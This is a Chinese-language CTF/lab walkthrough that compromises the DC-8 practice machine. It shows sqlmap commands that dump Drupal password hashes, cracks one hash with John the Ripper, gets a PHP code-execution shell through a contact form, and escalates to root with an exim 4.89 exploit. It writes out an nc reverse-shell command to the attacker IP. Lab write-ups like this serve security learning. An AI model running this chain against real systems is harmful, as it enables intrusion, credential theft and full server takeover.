目录
2.2 drush 命令对任意用户密码进行更改(发现没有进到DC-8的shell,行不通)
DC-8靶机渗透测试
实验环境:
kali的IP地址:192.168.43.121
DC-8的MAC地址:00:0C:29:6F:4B:D3(192.168.43.33)
1、信息收集
1.1 扫描DC-8开放端口
得知开放了22端口和80端口、是一个Drupal 7 cms管理系统。
1.2 访问WEB站点
各个选项卡点开看看,发现可能存在SQL注入漏洞
2、渗透过程
2.1 用Sqlmap自动化工具注入
sqlmap -u "http://192.168.43.33/?nid=1" --batch (检测注入点)
sqlmap -u "http://192.168.43.33/?nid=1" --dbs(列出所有数据库名字)
sqlmap -u "http://192.168.43.33/?nid=1" --current-db (列出当前数据库的名字:'d7db')
sqlmap -u "http://192.168.43.33/?nid=1" -D "d7db" --tables(-D指定数据库,--tables列出表名,发现users表)
sqlmap -u "http://192.168.43.33/?nid=1" -D "d7db" -T "users" --columns(-T指定表名,--columns列出所有字段,对pass字段和name字段比较感兴趣)
sqlmap -u "http://192.168.43.33/?nid=1" -D "d7db" -T "users" -C "pass/name" --dump (-C指定列名,--dump列出字段内容)
发现存在admin和john这两个用户
admin的密码加密后为:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john的密码加密后为:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
2.2 drush 命令对任意用户密码进行更改(发现没有进到DC-8的shell,行不通)
drush是drupal shell专门管理drupal站点的shell
尝试对admin用户的密码做更改!
drupal中用drush更改密码的命令:
$ drush user:password admin "123456"
或者:$drush user-password admin --password="123456"
2.3 John爆破用户名和密码
著名密码破解利器John the Ripper(使用:https://www.jianshu.com/p/5ee11fb0414e)
$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
将上述密文写到一个文件里面:vim drupal_v7_admin_hash.txtjohn drupal_v7_admin_hash.txt 跑了好久没有解出密码
发现admin的hash并没有解出,再将john用户的hash放入到drupal_v7_john_hash.txt文件中,用john再默认跑一下
vim drupal_v7_john_hash.txt
得到john密码为turtle
注意vim的时候复制完密文后一定要检查对不对
现在知道数据库dbd7的john用户的密码为turtle
2.3 用john用户的密码turtle登录后台
查看robots.txt
发现/user/login好像是登录后台的界面,登录成功
3、GetShell(利用php代码执行漏洞)
在john的登录界面到处看看,终于在Contact Us界面找到了写shell的地方
再Contact Us发现php代码执行漏洞
该漏洞在表单提交时才会触发
这里自带的格式不要删除,否者会后端读取的时候会报错导致无法执行php代码!!!(否则getshell会不成功)
save之后 回到VIEW界面
提交表单(在此之前需要监听对应端口)【在kali上nc -lvvp 8888】
成功getshell!
进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
4、提权
思路1、sudo -l(需要密码,执行不通X)
思路2、查看有没有一些具有suid权限的命令
find / -perm /4000 2>dev/null
4.1 exim4提权
4.1.1 查看exim4版本
/usr/sbin/exim4 --version
发现版本是4.89
4.1.2 使用searchsploit查找响应漏洞
searchsploit exim 4.
Local Privilege Escalation(本地特权升级)
4.1.3 将响应漏洞拷贝到靶机
scp远程拷贝
把它弄到靶机里,使用scp:
需要先在kali开启ssh服务------Kali ssh服务
$ scp root@192.168.43.121:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/ (在dc8user@dc-8:~$下拷贝)
确认已经拷过来了
运行EXP:
有个^M,查看此exp后,看到结尾都是M,百度后的文章:
解决“/bin/bash^M: bad interpreter: No such file or directory”sed -i "s/\r//" 46996.sh
重新执行exp,先监听kali上的8888端口:./46996.sh -m netcat
nc -e /bin/bash 192.168.43.121 8888
这里很快就会断链了,所以要快点!!!:python -c 'import pty;pty.spawn("/bin/bash")'
到/root下发现有flag.txt